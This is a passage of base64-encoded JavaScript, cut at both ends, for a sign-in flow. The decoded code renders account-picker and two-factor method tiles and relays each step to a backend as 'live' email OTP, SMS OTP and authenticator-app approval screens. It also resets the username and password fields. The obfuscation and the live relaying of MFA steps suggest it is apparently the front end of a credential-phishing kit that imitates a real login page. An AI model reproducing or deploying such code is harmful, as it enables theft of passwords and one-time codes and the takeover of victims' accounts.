VsZW1lbnQoImRpdiIpOw0KICAgIGxpc3RJdGVtRGl2LmNsYXNzTGlzdC5hZGQoInJvdyIsICJ0aWxlIik7DQogICAgbGlzdEl0ZW1EaXYuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgInNlbGVjdG11bHRpcGxlYWNjb3VudCh0aGlzKSIpOw0KICAgIGxpc3RJdGVtRGl2LnNldEF0dHJpYnV0ZSgicm9sZSIsICJsaXN0aXRlbSIpOw0KDQogICAgY29uc3QgdGFibGVyb3d0aWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgdGFibGVyb3d0aWxlLmNsYXNzTGlzdC5hZGQoJ3RhYmxlJyk7DQogICAgdGFibGVyb3d0aWxlLnNldEF0dHJpYnV0ZSgicm9sZSIsICJidXR0b24iKTsNCg0KICAgIGNvbnN0IHRhYmxlUm93RGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgdGFibGVSb3dEaXYuY2xhc3NMaXN0LmFkZCgndGFibGUtcm93Jyk7DQogICAgDQogICAgY29uc3QgdGFibGVDZWxsRGl2MSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOw0KICAgIHRhYmxlQ2VsbERpdjEuY2xhc3NMaXN0LmFkZCgndGFibGUtY2VsbCcsICd0aWxlLWltZycpOw0KICAgIA0KICAgIGNvbnN0IGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOw0KICAgIGltZy5jbGFzc0xpc3QuYWRkKCd0aWxlLWltZycpOw0KICAgIGltZy5zZXRBdHRyaWJ1dGUoInJvbGUiLCAicHJlc2VudGF0aW9uIik7DQogICAgaW1nLnNldEF0dHJpYnV0ZSgnc3JjJywgaXRlbS5pbWFnZV9zcmMpOw0KICAgIA0KICAgIHRhYmxlQ2VsbERpdjEuYXBwZW5kQ2hpbGQoaW1nKTsNCiAgICANCiAgICBjb25zdCB0YWJsZUNlbGxEaXYyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgdGFibGVDZWxsRGl2Mi5jbGFzc0xpc3QuYWRkKCd0YWJsZS1jZWxsJywgJ3RleHQtbGVmdCcsICdjb250ZW50Jyk7DQogICAgDQogICAgY29uc3QgdGl0bGVEaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsNCiAgICB0aXRsZURpdi5pbm5lclRleHQgPSBpdGVtLnRpbGV0aXRsZTsNCiAgICANCiAgICBjb25zdCBoaW50RGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgY29uc3Qgc21hbGxIaW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc21hbGwnKTsNCiAgICBzbWFsbEhpbnQuaW5uZXJUZXh0ID0gaXRlbS50aXRsZWhpbnQ7DQogICAgaGludERpdi5hcHBlbmRDaGlsZChzbWFsbEhpbnQpOw0KICAgIA0KICAgIC8vIENyZWF0ZSB0aGUgdGhpcmQgaW5uZXIgZGl2IHdpdGggdGhlIHNwZWNpZmllZCBhdHRyaWJ1dGVzDQogICAgY29uc3QgZGlzcGxheU5hbWVEaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsNCiAgICBjb25zdCBzbWFsbERpc3BsYXlOYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc21hbGwnKTsNCiAgICBzbWFsbERpc3BsYXlOYW1lLmlubmVyVGV4dCA9IGl0ZW0uZW1haWw7DQogICAgZGlzcGxheU5hbWVEaXYuYXBwZW5kQ2hpbGQoc21hbGxEaXNwbGF5TmFtZSk7DQogICAgDQogICAgLy8gQXBwZW5kIGFsbCB0aGUgaW5uZXIgZGl2cyB0byB0aGUgc2Vjb25kIGlubmVyIGRpdg0KICAgIHRhYmxlQ2VsbERpdjIuYXBwZW5kQ2hpbGQodGl0bGVEaXYpOw0KICAgIHRhYmxlQ2VsbERpdjIuYXBwZW5kQ2hpbGQoaGludERpdik7DQogICAgdGFibGVDZWxsRGl2Mi5hcHBlbmRDaGlsZChkaXNwbGF5TmFtZURpdik7DQogICAgDQogICAgLy8gQXBwZW5kIGJvdGggaW5uZXIgZGl2cyB0byB0aGUgbWFpbiBkaXYNCiAgICB0YWJsZVJvd0Rpdi5hcHBlbmRDaGlsZCh0YWJsZUNlbGxEaXYxKTsNCiAgICB0YWJsZVJvd0Rpdi5hcHBlbmRDaGlsZCh0YWJsZUNlbGxEaXYyKTsNCiAgICB0YWJsZXJvd3RpbGUuYXBwZW5kQ2hpbGQodGFibGVSb3dEaXYpOw0KICAgIGxpc3RJdGVtRGl2LmFwcGVuZENoaWxkKHRhYmxlcm93dGlsZSk7DQogICAgcGFyZW50RWxlbWVudC5hcHBlbmRDaGlsZChsaXN0SXRlbURpdik7DQogICAgfSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZGlzcGxheXR3b2ZhbWV0aG9kcyhhcnJheSl7DQogICAgY29uc3QgcGFyZW50RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCIyZmFtZXRob2RzIik7DQogICAgcGFyZW50RWxlbWVudC5pbm5lckhUTUwgPSAnJzsNCiAgICBhcnJheS5mb3JFYWNoKChpdGVtKSA9PiB7DQoNCiAgICBjb25zdCBsaXN0SXRlbURpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgIGxpc3RJdGVtRGl2LmNsYXNzTGlzdC5hZGQoInJvdyIsICJ0aWxlIik7DQogICAgbGlzdEl0ZW1EaXYuc2V0QXR0cmlidXRlKCJkYXRhLW1ldGhvZGlkIiwgaXRlbS5tZXRob2RpZCk7DQogICAgbGlzdEl0ZW1EaXYuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgInNlbGVjdHR3b2ZhbWV0aG9kKHRoaXMpIik7DQogICAgbGlzdEl0ZW1EaXYuc2V0QXR0cmlidXRlKCJyb2xlIiwgImxpc3RpdGVtIik7DQoNCiAgICBjb25zdCB0YWJsZURpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgIHRhYmxlRGl2LmNsYXNzTGlzdC5hZGQoInRhYmxlIik7DQogICAgdGFibGVEaXYuc2V0QXR0cmlidXRlKCJ0YWJpbmRleCIsICIwIik7DQogICAgdGFibGVEaXYuc2V0QXR0cmlidXRlKCJyb2xlIiwgImJ1dHRvbiIpOw0KICAgIA0KICAgIGNvbnN0IHRhYmxlUm93RGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgdGFibGVSb3dEaXYuY2xhc3NMaXN0LmFkZCgidGFibGUtcm93Iik7DQogICAgDQogICAgY29uc3QgdGFibGVDZWxsSW1nRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgdGFibGVDZWxsSW1nRGl2LmNsYXNzTGlzdC5hZGQoInRhYmxlLWNlbGwiLCAidGlsZS1pbWciKTsNCg0KICAgIGlmIChpdGVtLmhhc093blByb3BlcnR5KCJ0ZXh0IikgJiYgaXRlbS5oYXNPd25Qcm9wZXJ0eSgiaW1hZ2Vfc3JjIikpIHsNCiAgICBjb25zdCBpbWdFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7DQogICAgaW1nRWxlbWVudC5jbGFzc0xpc3QuYWRkKCJ0aWxlLWltZyIpOw0KICAgIGltZ0VsZW1lbnQuc2V0QXR0cmlidXRlKCJyb2xlIiwgInByZXNlbnRhdGlvbiIpOw0KICAgIGltZ0VsZW1lbnQuc2V0QXR0cmlidXRlKCJzcmMiLCBpdGVtLmltYWdlX3NyYyk7DQogICAgdGFibGVDZWxsSW1nRGl2LmFwcGVuZENoaWxkKGltZ0VsZW1lbnQpOw0KICAgIH0NCiAgICAgIA0KICAgIGNvbnN0IHRhYmxlQ2VsbFRleHREaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICB0YWJsZUNlbGxUZXh0RGl2LmNsYXNzTGlzdC5hZGQoInRhYmxlLWNlbGwiLCAidGV4dC1sZWZ0IiwgImNvbnRlbnQiKTsNCg0KICAgIGNvbnN0IHR3b2ZhbWV0aG9kdGV4dCA9IGl0ZW0uaGFzT3duUHJvcGVydHkoInRleHQiKSA/IGl0ZW0udGV4dCA6ICIiOw0KICAgIHRhYmxlQ2VsbFRleHREaXYudGV4dENvbnRlbnQgPSB0d29mYW1ldGhvZHRleHQ7DQogICAgDQogICAgdGFibGVSb3dEaXYuYXBwZW5kQ2hpbGQodGFibGVDZWxsSW1nRGl2KTsNCiAgICB0YWJsZVJvd0Rpdi5hcHBlbmRDaGlsZCh0YWJsZUNlbGxUZXh0RGl2KTsNCiAgICB0YWJsZURpdi5hcHBlbmRDaGlsZCh0YWJsZVJvd0Rpdik7DQogICAgbGlzdEl0ZW1EaXYuYXBwZW5kQ2hpbGQodGFibGVEaXYpOw0KICAgIHBhcmVudEVsZW1lbnQuYXBwZW5kQ2hpbGQobGlzdEl0ZW1EaXYpOw0KICAgIH0pOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHNlbGVjdHR3b2ZhbWV0aG9kKGVsZW1lbnQpIHsNCiAgICBjb25zdCBlbGVtZW50cyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCIyZmFtZXRob2RzIikuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgicm93IHRpbGUiKTsNCiAgICBsZXQgbWV0aG9kaWQgPSBlbGVtZW50LmdldEF0dHJpYnV0ZSgnZGF0YS1tZXRob2RpZCcpOw0KDQogICAgbG9hZGluZ2FuaW1hdGlvbigwKTsNCiAgICBzZW5kQW5kUmVjZWl2ZSgndHdvZmFzZWxlY3QnLCBbbWV0aG9kaWRdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgd2FpdDJmYWNhbmNlbCA9IDA7DQogICAgICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgICAgICBpZihyZXNwb25zZVsnbWVzc2FnZSddID09ICJlbWFpbCBvdHAgbGl2ZSIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZV90aXRsZSIpLmlubmVyVGV4dCA9ICJWZXJpZnkgeW91ciBlbWFpbCI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLnJlbW92ZUF0dHJpYnV0ZSgibWF4bGVuZ3RoIik7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLnJlbW92ZUF0dHJpYnV0ZSgib25pbnB1dCIpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zZXRBdHRyaWJ1dGUoInBsYWNlaG9sZGVyIiwgInNvbWVvbmVAZXhhbXBsZS5jb20iKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZScsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29uZmlybWVtYWlsb3JwaG9uZV9saXZlX2hpZGRlbicpLnZhbHVlID0gcmVzcG9uc2VbJ2VtYWlsJ107DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImNvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSI7DQogICAgICAgICAgICB2aWV3dHlwZSA9ICJlbWFpbCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnbWVzc2FnZSddID09ICJzbXMgb3RwIGxpdmUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb25maXJtZW1haWxvcnBob25lX2xpdmVfdGl0bGUiKS5pbm5lclRleHQgPSAiVmVyaWZ5IHlvdXIgcGhvbmUgbnVtYmVyIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnBfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuc2V0QXR0cmlidXRlKCJtYXhsZW5ndGgiLCAiNCIpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zZXRBdHRyaWJ1dGUoIm9uaW5wdXQiLCAidmFsaWRhdGVkaWdpbnAodGhpcykiKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnBfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikudmFsdWUgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnBfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuc2V0QXR0cmlidXRlKCJwbGFjZWhvbGRlciIsICJMYXN0IDQgZGlnaXRzIG9mIHBob25lIG51bWJlciIpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb25maXJtZW1haWxvcnBob25lX2xpdmVfaGlkZGVuJykudmFsdWUgPSByZXNwb25zZVsncGhvbmUnXTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9jb25maXJtZW1haWxvcnBob25lX2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gInBob25lIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm90cCBzZW50IGxpdmUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnBfb3RwX2xpdmUiKS5zZXRBdHRyaWJ1dGUoInBsYWNlaG9sZGVyIiwgIkNvZGUiKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9vdHBfbGl2ZSIpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBsaXZlaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cF9saXZlJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnb3RwX2xpdmUnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdvdHBfbGl2ZScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fb3RwX2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAib3RwX2xpdmUiOw0KICAgICAgICAgICAgdmlld3R5cGUgPSAib3RwIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGF1dGggYXBwIGxpdmUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9hdXRoYXBwX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2F1dGhhcHBfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBfbGl2ZV9jb2RlIikuaW5uZXJUZXh0ID0gcmVzcG9uc2VbJ2F1dGhhcHByZXFpZCddOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdhdXRoYXBwX2xpdmUnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoYXBwX2xpdmUnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhhcHBfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoYXBwX2xpdmUiOw0KICAgICAgICAgICAgdmlld3R5cGUgPSAiYXV0aCI7DQogICAgICAgICAgICB3YWl0MmZhKCdhcHAnLHJlc3BvbnNlWydtZXRob2RpZCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vIGxpdmUgc3R1ZmYNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJkdXBsaWNhdGUgcmVxdWVzdCIpew0KICAgICAgICAgICAgd2FpdDJmYWNhbmNlbCA9IDE7DQogICAgICAgICAgICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykuY2xhc3NMaXN0LmNvbnRhaW5zKCdkLW5vbmUnKSl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnRpdGxlJykuaW5uZXJUZXh0ID0gIlRvbyBtYW55IEF0dGVtcHRzIjsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLmxvYWRpbmctY29udGFpbmVyJykuY2xhc3NMaXN0LnJlbW92ZSgnbG9hZGluZycpOw0KICAgICAgICAgICAgcnVuYW5pbWF0aW9uKDIsdmlldywwLjUsMCk7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2FpbmhlYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2Fpbl90b29tYW55YXR0ZW1wdHMnKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnc2hvdy1mcm9tLXJpZ2h0IDAuNXMnOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJ0cnlhZ2FpbmxhdGVyIjsNCiAgICAgICAgICAgIH0sIDIwMCk7DQogICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInNlc3Npb24gdGltZW91dCIpew0KICAgICAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLmlubmVyVGV4dCA9ICJXZSBkaWRuJ3QgaGVhciBmcm9tIHlvdSI7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2xvYWRpbmcnKTsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigyLHZpZXcsMC41LDApOw0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5oZWFkZXInKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5fd2l0aG91dGludGVybmV0Jykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ3Nob3ctZnJvbS1yaWdodCAwLjVzJzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAidHJ5YWdhaW5sYXRlciI7DQogICAgICAgICAgICB9LCAyMDApOw0KICAgICAgICAgICAgfSwgNTAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJyZWRpcmVjdGVkIGJhY2sgdG8gc2lnbiBpbiIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF91bmFtZScpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZCcpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7Ow0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UgPSAiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChk